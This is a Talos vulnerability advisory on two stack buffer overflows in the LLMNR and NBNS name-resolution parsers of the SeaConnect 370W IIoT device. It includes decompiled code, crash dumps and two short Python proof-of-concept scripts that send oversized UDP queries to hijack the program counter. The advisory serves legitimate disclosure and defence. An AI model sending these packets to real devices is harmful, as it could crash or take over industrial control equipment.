Talos Vulnerability Report

TALOS-2021-1389

Sealevel Systems, Inc. SeaConnect 370W LLMNR/NBNS stack-based buffer overflow vulnerabilities

FEBRUARY 1, 2022

CVE NUMBER

CVE-2021-21960,CVE-2021-21961

Summary

A stack-based buffer overflow vulnerability exists in both the LLMNR and NBNS functionality of Sealevel Systems, Inc. SeaConnect 370W v1.3.34. A specially-crafted network packet can lead to remote code execution. An attacker can send a malicious packet to trigger either of the vulnerabilities.

Tested Versions

Sealevel Systems, Inc. SeaConnect 370W v1.3.34

Product URLs

SeaConnect 370W - https://www.sealevel.com/product/370w-a-wifi-to-form-c-relays-digital-inputs-a-d-inputs-and-1-wire-bus-seaconnect-multifunction-io-edge-module-powered-by-seacloud/

CVSSv3 Score

10.0 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-121 - Stack-based Buffer Overflow

Details

The SeaConnect 370W is a Wi-Fi connected IIoT device offering programmable cloud access and control of digital and analog I/O and a 1-wire bus.

This device offers remote control via several means including MQTT, Modbus TCP and a manufacturer-specific protocol named “SeaMAX API.”

The device is built on top of the TI CC3200 MCU with built-in Wi-Fi capabilities.

The SeaConnect 370W exposes three name resolution services: LLMNR, NBNS and mDNS. The LLMNR and NBNS implementations both contain similar stack-based buffer overflows while parsing received queries. Given that LLMNR and NBNS both utilize the DNS header format with only a handful of exceptions, their parsing code is very similar. In this case, it appears to be reused from one to the next.

The vulnerability occurs when attempting to copy the queried name to a local buffer of fixed size (identified above as `name_buffer`). The implementation does not conduct any bounds checking prior to copying the data, simply trusting the supplied length field will be accurate and no larger than 32 bytes. Supplying a significantly large length value and queried name will result in an overflow of the stack, and ultimately in attacker control of the program counter. The overflow is limited to a maximum of 255 bytes in controllable data, as the length field is limited to a single byte.

CVE-2021-21960 - LLMNR Buffer Overflow

The parsing implementation for LLMNR begins at raw offset 0x1106A, which when mapped in to RAM for execution, is located at 0x2001106A.

```
int __fastcall GenerateLLMNRResponse(_WORD *a1, _DWORD *a2, __int16 *query)
{
  __int16 *offset; // r7
  __int16 id; // r10
  __int16 flags; // t1
  __int16 QDCOUNT; // t1
  __int16 ANCOUNT; // t1
  __int16 NSCOUNT; // t1
  __int16 ARCOUNT; // t1
  char *queried_name; // r7
  int name_length; // t1 MAPDST
  char *name_buffer_idx; // r1
  char curr_char; // t1
  ...
  char name_buffer[32]; // [sp+0h] [bp-68h] BYREF      [1] Fixed size, stack-allocated buffer of 32 bytes
  char response[72]; // [sp+20h] [bp-48h] BYREF

  offset = query + 1;
  id = htons(*query);
  flags = *offset++;
  htons(flags);
  QDCOUNT = *offset++;
  htons(QDCOUNT);
  ANCOUNT = *offset++;
  htons(ANCOUNT);
  NSCOUNT = *offset++;
  htons(NSCOUNT);
  ARCOUNT = *offset++;
  htons(ARCOUNT);

  name_length = *offset;                               [2] Read length octet of the queried name from attacker controlled payload
  queried_name = offset + 1;
  memset(name_buffer, 0, sizeof(name_buffer));
  for (int idx = 0; idx < name_length; idx++)          [3] Copy `name_length` bytes into stack-based variable, with no checks
  {
      name_buffer[idx] = queried_name[idx];
  }
  ...
}
```

The copy that occurs at `[3]` results in a straightforward buffer overflow that will corrupt the link register value pushed on to the stack when the function was first entered. When this corrupted value is popped from the stack, the program counter will begin executing from an arbitrary attacker-controlled address.

Crash Information

```
[Hard fault handler]
R0       = 0x00000000
R1       = 0x200014e8
R2       = 0x20001508
R3       = 0x00000032
R12      = 0x20001560
LR [R14] = 0x20011115  subroutine call return address
PC [R15] = 0x4d4d4d4c  Program Counter
PSR      = 0x21000000
BFAR     = 0xe000ed38
CFSR     = 0x00000001
HFSR     = 0x40000000
DFSR     = 0x00000000
AFSR     = 0x00000000
```

Exploit Proof of Concept

```
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(b'\xdf\x76\x01\x20\x00\x01\x00\x00\x00\x00\x00\x00\xff' + b'A'*100 + b'MMMM', ('<target_ip>', 5355))
```

CVE-2021-21961 - NBNS Buffer Overflow

The parsing implementation for NetBIOS begins at raw offset 0x10D70, which when mapped in to RAM for execution, is located at 0x20010D70. Note that the parsing implementation is the same.

```
int __fastcall GenerateNBNSResponse(_WORD *a1, _DWORD *a2, __int16 *query)
{
  __int16 *offset; // r7
  __int16 id; // r10
  __int16 flags; // t1
  __int16 QDCOUNT; // t1
  __int16 ANCOUNT; // t1
  __int16 NSCOUNT; // t1
  __int16 ARCOUNT; // t1
  char *queried_name; // r7
  int name_length; // t1 MAPDST
  char *name_buffer_idx; // r1
  char curr_char; // t1
  ...
  char name_buffer[32]; // [sp+0h] [bp-68h] BYREF      [1] Fixed size, stack-allocated buffer of 32 bytes
  char response[72]; // [sp+20h] [bp-48h] BYREF

  offset = query + 1;
  id = htons(*query);
  flags = *offset++;
  htons(flags);
  QDCOUNT = *offset++;
  htons(QDCOUNT);
  ANCOUNT = *offset++;
  htons(ANCOUNT);
  NSCOUNT = *offset++;
  htons(NSCOUNT);
  ARCOUNT = *offset++;
  htons(ARCOUNT);

  name_length = *offset;                               [2] Read length octet of the queried name
  queried_name = offset + 1;
  memset(name_buffer, 0, sizeof(name_buffer));
  for (int idx = 0; idx < name_length; idx++)          [3] Copy `name_length` bytes into stack-based variable, with no checks
  {
      name_buffer[idx] = queried_name[idx];
  }
  ...
}
```

The copy that occurs at `[3]` results in a straightforward buffer overflow that will corrupt the link register value pushed on to the stack when the function was first entered. When this corrupted value is popped from the stack, the program counter will begin executing from an arbitrary attacker-controlled address.

Crash Information

```
[Hard fault handler]
R0       = 0x00000000
R1       = 0x200014e8
R2       = 0x00000020
R3       = 0x00000041
R12      = 0x20001560
LR [R14] = 0x20010e09  subroutine call return address
PC [R15] = 0x4d4d4d4c  Program Counter
PSR      = 0x21000000
BFAR     = 0xe000ed38
CFSR     = 0x00000001
HFSR     = 0x40000000
DFSR     = 0x00000000
AFSR     = 0x00000000
```

Exploit Proof of Concept

```
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(b'\xdf\x76\x01\x20\x00\x01\x00\x00\x00\x00\x00\x00\xff' + b'A'*100 + b'MMMM', ('<target_ip>', 137))
```

Timeline

2021-10-26 - Vendor disclosure

2022-02-01 - Public Release

CREDIT

Discovered by Francesco Benvenuto and Matt Wiseman of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT TALOS-2021-1388

NEXT REPORT TALOS-2021-1390